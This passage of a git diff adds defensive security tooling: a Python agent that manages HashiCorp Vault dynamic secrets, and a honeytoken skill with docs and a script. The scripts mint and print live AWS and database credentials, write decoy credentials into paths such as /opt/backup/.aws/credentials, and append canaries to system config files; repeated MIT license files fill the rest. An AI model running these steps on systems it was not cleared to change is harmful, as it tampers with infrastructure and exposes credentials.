| +| `sys.list_auth_methods()` | List auth backends | +| `sys.enable_audit_device()` | Enable audit logging | + +## External References +- Vault Documentation: https://developer.hashicorp.com/vault/docs +- hvac Python Client: https://hvac.readthedocs.io/ +- Database Secrets: https://developer.hashicorp.com/vault/docs/secrets/databases +- AWS Secrets: https://developer.hashicorp.com/vault/docs/secrets/aws +- PKI Secrets: https://developer.hashicorp.com/vault/docs/secrets/pki diff --git a/skills/implementing-hashicorp-vault-dynamic-secrets/scripts/agent.py b/skills/implementing-hashicorp-vault-dynamic-secrets/scripts/agent.py new file mode 100644 index 00000000..0886fcb6 --- /dev/null +++ b/skills/implementing-hashicorp-vault-dynamic-secrets/scripts/agent.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +"""HashiCorp Vault dynamic secrets management agent using hvac client.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import hvac + from hvac.exceptions import VaultError +except ImportError: + print("Install hvac: pip install hvac") + sys.exit(1) + + +def connect_vault(url, token=None, role_id=None, secret_id=None): + """Connect to Vault using token or AppRole authentication.""" + client = hvac.Client(url=url) + if token: + client.token = token + elif role_id and secret_id: + resp = client.auth.approle.login(role_id=role_id, secret_id=secret_id) + client.token = resp["auth"]["client_token"] + if not client.is_authenticated(): + print("[!] Vault authentication failed") + sys.exit(1) + return client + + +def enable_database_secrets_engine(client, path="database"): + """Enable the database secrets engine.""" + try: + client.sys.enable_secrets_engine(backend_type="database", path=path) + return {"engine": "database", "path": path, "status": "enabled"} + except VaultError as e: + if "already in use" in str(e): + return {"engine": "database", "path": path, "status": "already_enabled"} + return {"error": str(e)} + + +def configure_postgres_connection(client, name, connection_url, username, password, + path="database"): + """Configure a PostgreSQL database connection in Vault.""" + try: + client.secrets.database.configure( + name=name, plugin_name="postgresql-database-plugin", + connection_url=connection_url, + allowed_roles=["*"], + username=username, password=password, + mount_point=path) + return {"connection": name, "status": "configured"} + except VaultError as e: + return {"error": str(e)} + + +def create_database_role(client, role_name, db_name, creation_statements, + default_ttl="1h", max_ttl="24h", path="database"): + """Create a dynamic database role for credential generation.""" + try: + client.secrets.database.create_role( + name=role_name, db_name=db_name, + creation_statements=creation_statements, + default_ttl=default_ttl, max_ttl=max_ttl, + mount_point=path) + return {"role": role_name, "ttl": default_ttl, "status": "created"} + except VaultError as e: + return {"error": str(e)} + + +def generate_database_credentials(client, role_name, path="database"): + """Generate dynamic database credentials for a role.""" + try: + resp = client.secrets.database.generate_credentials( + name=role_name, mount_point=path) + return { + "username": resp["data"]["username"], + "password": resp["data"]["password"], + "lease_id": resp["lease_id"], + "lease_duration": resp["lease_duration"], + "renewable": resp["renewable"], + } + except VaultError as e: + return {"error": str(e)} + + +def enable_aws_secrets_engine(client, path="aws"): + """Enable the AWS secrets engine for dynamic IAM credentials.""" + try: + client.sys.enable_secrets_engine(backend_type="aws", path=path) + return {"engine": "aws", "path": path, "status": "enabled"} + except VaultError as e: + if "already in use" in str(e): + return {"engine": "aws", "path": path, "status": "already_enabled"} + return {"error": str(e)} + + +def configure_aws_root(client, access_key, secret_key, region="us-east-1", path="aws"): + """Configure AWS root credentials for dynamic IAM generation.""" + try: + client.secrets.aws.configure_root_iam_credentials( + access_key=access_key, secret_key=secret_key, region=region, + mount_point=path) + return {"status": "configured", "region": region} + except VaultError as e: + return {"error": str(e)} + + +def create_aws_role(client, role_name, policy_arns, credential_type="iam_user", + default_ttl="1h", path="aws"): + """Create an AWS dynamic role for generating IAM credentials.""" + try: + client.secrets.aws.create_or_update_role( + name=role_name, credential_type=credential_type, + policy_arns=policy_arns, default_sts_ttl=default_ttl, + mount_point=path) + return {"role": role_name, "type": credential_type, "status": "created"} + except VaultError as e: + return {"error": str(e)} + + +def generate_aws_credentials(client, role_name, path="aws"): + """Generate dynamic AWS credentials for a role.""" + try: + resp = client.secrets.aws.generate_credentials( + name=role_name, mount_point=path) + return { + "access_key": resp["data"]["access_key"], + "secret_key": resp["data"]["secret_key"], + "security_token": resp["data"].get("security_token"), + "lease_id": resp["lease_id"], + "lease_duration": resp["lease_duration"], + } + except VaultError as e: + return {"error": str(e)} + + +def enable_pki_engine(client, path="pki"): + """Enable PKI secrets engine for dynamic certificate generation.""" + try: + client.sys.enable_secrets_engine(backend_type="pki", path=path) + client.sys.tune_mount_configuration(path=path, max_lease_ttl="87600h") + return {"engine": "pki", "path": path, "status": "enabled"} + except VaultError as e: + if "already in use" in str(e): + return {"engine": "pki", "path": path, "status": "already_enabled"} + return {"error": str(e)} + + +def list_leases(client, prefix="database/creds/"): + """List active leases for dynamic secrets.""" + try: + resp = client.sys.list_leases(prefix=prefix) + return resp.get("data", {}).get("keys", []) + except VaultError as e: + return [str(e)] + + +def revoke_lease(client, lease_id): + """Revoke a specific lease to immediately invalidate credentials.""" + try: + client.sys.revoke_lease(lease_id=lease_id) + return {"lease_id": lease_id, "status": "revoked"} + except VaultError as e: + return {"error": str(e)} + + +def run_vault_audit(client): + """Run Vault dynamic secrets audit.""" + print(f"\n{'='*60}") + print(f" HASHICORP VAULT DYNAMIC SECRETS AUDIT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + health = client.sys.read_health_status(method="GET") + print(f"--- VAULT STATUS ---") + print(f" Initialized: {health.get('initialized')}") + print(f" Sealed: {health.get('sealed')}") + print(f" Version: {health.get('version')}") + + mounts = client.sys.list_mounted_secrets_engines() + print(f"\n--- SECRETS ENGINES ---") + for path, config in mounts.get("data", mounts).items(): + if isinstance(config, dict): + print(f" {path}: {config.get('type', 'unknown')}") + + auth_methods = client.sys.list_auth_methods() + print(f"\n--- AUTH METHODS ---") + for path, config in auth_methods.get("data", auth_methods).items(): + if isinstance(config, dict): + print(f" {path}: {config.get('type', 'unknown')}") + + print(f"\n{'='*60}\n") + return {"sealed": health.get("sealed"), "version": health.get("version")} + + +def main(): + parser = argparse.ArgumentParser(description="HashiCorp Vault Dynamic Secrets Agent") + parser.add_argument("--vault-url", default="http://127.0.0.1:8200", help="Vault URL") + parser.add_argument("--token", help="Vault token") + parser.add_argument("--role-id", help="AppRole role ID") + parser.add_argument("--secret-id", help="AppRole secret ID") + parser.add_argument("--audit", action="store_true", help="Run Vault audit") + parser.add_argument("--gen-db-creds", help="Generate DB credentials for role") + parser.add_argument("--gen-aws-creds", help="Generate AWS credentials for role") + parser.add_argument("--revoke", help="Revoke lease by ID") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + client = connect_vault(args.vault_url, args.token, args.role_id, args.secret_id) + + if args.audit: + report = run_vault_audit(client) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + elif args.gen_db_creds: + creds = generate_database_credentials(client, args.gen_db_creds) + print(json.dumps(creds, indent=2)) + elif args.gen_aws_creds: + creds = generate_aws_credentials(client, args.gen_aws_creds) + print(json.dumps(creds, indent=2)) + elif args.revoke: + result = revoke_lease(client, args.revoke) + print(json.dumps(result, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-honeypot-for-ransomware-detection/LICENSE b/skills/implementing-honeypot-for-ransomware-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-honeypot-for-ransomware-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-honeytokens-for-breach-detection/LICENSE b/skills/implementing-honeytokens-for-breach-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-honeytokens-for-breach-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-honeytokens-for-breach-detection/SKILL.md b/skills/implementing-honeytokens-for-breach-detection/SKILL.md new file mode 100644 index 00000000..125072a2 --- /dev/null +++ b/skills/implementing-honeytokens-for-breach-detection/SKILL.md @@ -0,0 +1,44 @@ +--- +name: implementing-honeytokens-for-breach-detection +description: > + Deploys canary tokens and honeytokens (fake AWS credentials, DNS canaries, document + beacons, database records) that trigger alerts when accessed by attackers. Uses the + Canarytokens API and custom webhook integrations for breach detection. Use when + building deception-based early warning systems for intrusion detection. +--- + +# Implementing Honeytokens for Breach Detection + +## Instructions + +Deploy honeytokens across critical systems to detect unauthorized access. Each token +type alerts via webhook when triggered by an attacker. + +```python +import requests + +# Create a DNS canary token via Canarytokens +resp = requests.post("https://canarytokens.org/generate", data={ + "type": "dns", + "email": "soc@company.com", + "memo": "Production DB server honeytoken", +}) +token = resp.json() +print(f"DNS token: {token['hostname']}") +``` + +Token types to deploy: +1. AWS credential files (~/.aws/credentials) with canary keys +2. DNS tokens embedded in configuration files +3. Document beacons (Word/PDF) in sensitive file shares +4. Database honeytoken records in user tables +5. Web bugs in internal wiki/documentation pages + +## Examples + +```python +# Generate a fake AWS credentials file with canary token +aws_creds = f"[default]\naws_access_key_id = {canary_key_id}\naws_secret_access_key = {canary_secret}\n" +with open("/opt/backup/.aws/credentials", "w") as f: + f.write(aws_creds) +``` diff --git a/skills/implementing-honeytokens-for-breach-detection/references/api-reference.md b/skills/implementing-honeytokens-for-breach-detection/references/api-reference.md new file mode 100644 index 00000000..ca9dcef5 --- /dev/null +++ b/skills/implementing-honeytokens-for-breach-detection/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Implementing Honeytokens for Breach Detection + +## Canarytokens.org API + +```python +import requests + +# Create DNS canary token +resp = requests.post("https://canarytokens.org/generate", data={ + "type": "dns", + "email": "soc@company.com", + "memo": "Prod DB honeytoken", + "webhook_url": "https://hooks.slack.com/...", # optional +}) +token = resp.json() # {"hostname": "xxx.canarytokens.com", ...} + +# Available token types +# dns, web_image, aws_keys, cloned_web, doc_msword, +# slack_api, svn, sql_server, qr_code +``` + +## Token Deployment Locations + +| Type | Location | Trigger | +|------|----------|---------| +| AWS keys | `~/.aws/credentials` | Key used in API call | +| DNS | Config files, code | DNS resolution | +| Web image | Wiki, docs, shares | Image HTTP request | +| Document | File shares | Document opened | +| Database | User/config tables | Record queried | + +## Webhook Alert Payload + +```json +{ + "manage_url": "https://canarytokens.org/manage?...", + "memo": "Production honeytoken", + "additional_data": { + "src_ip": "203.0.113.50", + "useragent": "..." + }, + "channel": "DNS", + "time": "2025-01-15 14:23:00" +} +``` + +## Thinkst Canary API (Enterprise) + +```python +# List triggered tokens +resp = requests.get("https://console.canary.tools/api/v1/canarytokens/alerts", + params={"auth_token": ""}) +``` + +### References + +- Canarytokens: https://canarytokens.org/ +- Thinkst Canary: https://canary.tools/ +- LOLBAS honeytoken guide: https://zeltser.com/honeytokens-canarytokens-setup/ diff --git a/skills/implementing-honeytokens-for-breach-detection/scripts/agent.py b/skills/implementing-honeytokens-for-breach-detection/scripts/agent.py new file mode 100644 index 00000000..47166dd3 --- /dev/null +++ b/skills/implementing-honeytokens-for-breach-detection/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for deploying and managing honeytokens for breach detection.""" + +import os +import json +import uuid +import hashlib +import argparse +from datetime import datetime + +import requests + + +def create_dns_canarytoken(email, memo, webhook_url=None): + """Create a DNS canary token via Canarytokens.org API.""" + data = { + "type": "dns", + "email": email, + "memo": memo, + } + if webhook_url: + data["webhook_url"] = webhook_url + resp = requests.post("https://canarytokens.org/generate", data=data, timeout=15) + resp.raise_for_status() + return resp.json() + + +def create_web_bug_token(email, memo, webhook_url=None): + """Create a web bug (image beacon) canary token.""" + data = { + "type": "web_image", + "email": email, + "memo": memo, + } + if webhook_url: + data["webhook_url"] = webhook_url + resp = requests.post("https://canarytokens.org/generate", data=data, timeout=15) + resp.raise_for_status() + return resp.json() + + +def create_aws_key_token(email, memo, webhook_url=None): + """Create an AWS credential canary token.""" + data = { + "type": "aws_keys", + "email": email, + "memo": memo, + } + if webhook_url: + data["webhook_url"] = webhook_url + resp = requests.post("https://canarytokens.org/generate", data=data, timeout=15) + resp.raise_for_status() + return resp.json() + + +def generate_honeytoken_id(): + """Generate a unique honeytoken identifier.""" + return f"HT-{uuid.uuid4().hex[:12].upper()}" + + +def deploy_aws_credential_token(target_path, canary_key_id, canary_secret): + """Deploy fake AWS credentials file as a honeytoken.""" + content = ( + "[default]\n" + f"aws_access_key_id = {canary_key_id}\n" + f"aws_secret_access_key = {canary_secret}\n" + "region = us-east-1\n" + ) + os.makedirs(os.path.dirname(target_path), exist_ok=True) + with open(target_path, "w") as f: + f.write(content) + return { + "type": "aws_credentials", + "path": target_path, + "token_id": generate_honeytoken_id(), + "deployed_at": datetime.utcnow().isoformat(), + } + + +def deploy_database_honeytoken(db_connection_string, table_name="users"): + """Generate SQL to insert honeytoken records into a database.""" + token_id = generate_honeytoken_id() + fake_users = [ + { + "username": "svc_backup_admin", + "email": f"{token_id}@canary.internal", + "role": "admin", + "api_key": hashlib.sha256(token_id.encode()).hexdigest()[:40], + }, + { + "username": "emergency_break_glass", + "email": f"bg-{token_id}@canary.internal", + "role": "superadmin", + "api_key": hashlib.sha256(f"bg-{token_id}".encode()).hexdigest()[:40], + }, + ] + sql_statements = [] + for user in fake_users: + sql = ( + f"INSERT INTO {table_name} (username, email, role, api_key) " + f"VALUES ('{user['username']}', '{user['email']}', " + f"'{user['role']}', '{user['api_key']}');" + ) + sql_statements.append(sql) + return {"token_id": token_id, "sql_statements": sql_statements, "records": fake_users} + + +def deploy_dns_token_in_config(config_path, dns_hostname, key_name="backup_server"): + """Embed a DNS canary token in a configuration file.""" + config_entry = f"{key_name} = {dns_hostname}\n" + with open(config_path, "a") as f: + f.write(f"\n# Backup configuration\n{config_entry}") + return { + "type": "dns_config", + "config_path": config_path, + "dns_hostname": dns_hostname, + "deployed_at": datetime.utcnow().isoformat(), + } + + +def create_deployment_plan(target_environment): + """Create a honeytoken deployment plan for an environment.""" + plan = { + "environment": target_environment, + "tokens": [ + {"type": "aws_credentials", "location": "/opt/backup/.aws/credentials", + "description": "Fake AWS creds in backup directory"}, + {"type": "dns", "location": "/etc/app/config.yml", + "description": "DNS canary in app config"}, + {"type": "database", "location": "users table", + "description": "Honeytoken admin accounts"}, + {"type": "web_bug", "location": "internal wiki", + "description": "Image beacon in sensitive docs"}, + {"type": "dns", "location": "/root/.ssh/config", + "description": "DNS canary in SSH config"}, + ], + } + return plan + + +def check_token_alerts(webhook_log_path): + """Parse webhook logs to check for honeytoken trigger alerts.""" + if not os.path.exists(webhook_log_path): + return [] + with open(webhook_log_path) as f: + logs = json.load(f) + alerts = [] + for entry in logs: + if entry.get("type") == "canarytoken_triggered": + alerts.append({ + "token_memo": entry.get("memo", ""), + "source_ip": entry.get("src_ip", ""), + "triggered_at": entry.get("time", ""), + "token_type": entry.get("token_type", ""), + }) + return alerts + + +def main(): + parser = argparse.ArgumentParser(description="Honeytoken Deployment Agent") + parser.add_argument("--email", default=os.getenv("CANARY_EMAIL", "soc@company.com")) + parser.add_argument("--webhook", default=os.getenv("CANARY_WEBHOOK")) + parser.add_argument("--output", default="honeytoken_report.json") + parser.add_argument("--action", choices=[ + "create_dns", "create_aws", "create_web", "plan", "full_deploy" + ], default="plan") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "tokens": {}} + + if args.action == "plan": + plan = create_deployment_plan("production") + report["deployment_plan"] = plan + print(f"[+] Deployment plan: {len(plan['tokens'])} tokens") + + if args.action in ("create_dns", "full_deploy"): + token = create_dns_canarytoken(args.email, "Production honeytoken", args.webhook) + report["tokens"]["dns"] = token + print(f"[+] DNS canary token created") + + if args.action in ("create_aws", "full_deploy"): + token = create_aws_key_token(args.email, "AWS credential honeytoken", args.webhook) + report["tokens"]["aws"] = token + print(f"[+] AWS credential token created") + + if args.action in ("create_web", "full_deploy"): + token = create_web_bug_token(args.email, "Web beacon honeytoken", args.webhook) + report["tokens"]["web_bug"] = token + print(f"[+] Web bug token created") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-ics-firewall-with-tofino/LICENSE b/skills/implementing-ics-firewall-with-tofino/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-ics-firewall-with-tofino/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-identity-governance-with-sailpoint/LICENSE b/skills/implementing-identity-governance-with-sailpoint/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-identity-governance-with-sailpoint/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-identity-verification-for-zero-trust/LICENSE b/skills/implementing-identity-verification-for-zero-trust/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-identity-verification-for-zero-trust/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-iec-62443-security-zones/LICENSE b/skills/implementing-iec-62443-security-zones/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-iec-62443-security-zones/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-image-provenance-verification-with-cosign/LICENSE b/skills/implementing-image-provenance-verification-with-cosign/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-image-provenance-verification-with-cosign/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-infrastructure-as-code-security-scanning/LICENSE b/skills/implementing-infrastructure-as-code-security-scanning/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-infrastructure-as-code-security-scanning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-iso-27001-information-security-management/LICENSE b/skills/implementing-iso-27001-information-security-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-iso-27001-information-security-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-just-in-time-access-provisioning/LICENSE b/skills/implementing-just-in-time-access-provisioning/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-just-in-time-access-provisioning/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-jwt-signing-and-verification/LICENSE b/skills/implementing-jwt-signing-and-verification/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-jwt-signing-and-verification/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-kubernetes-network-policy-with-calico/LICENSE 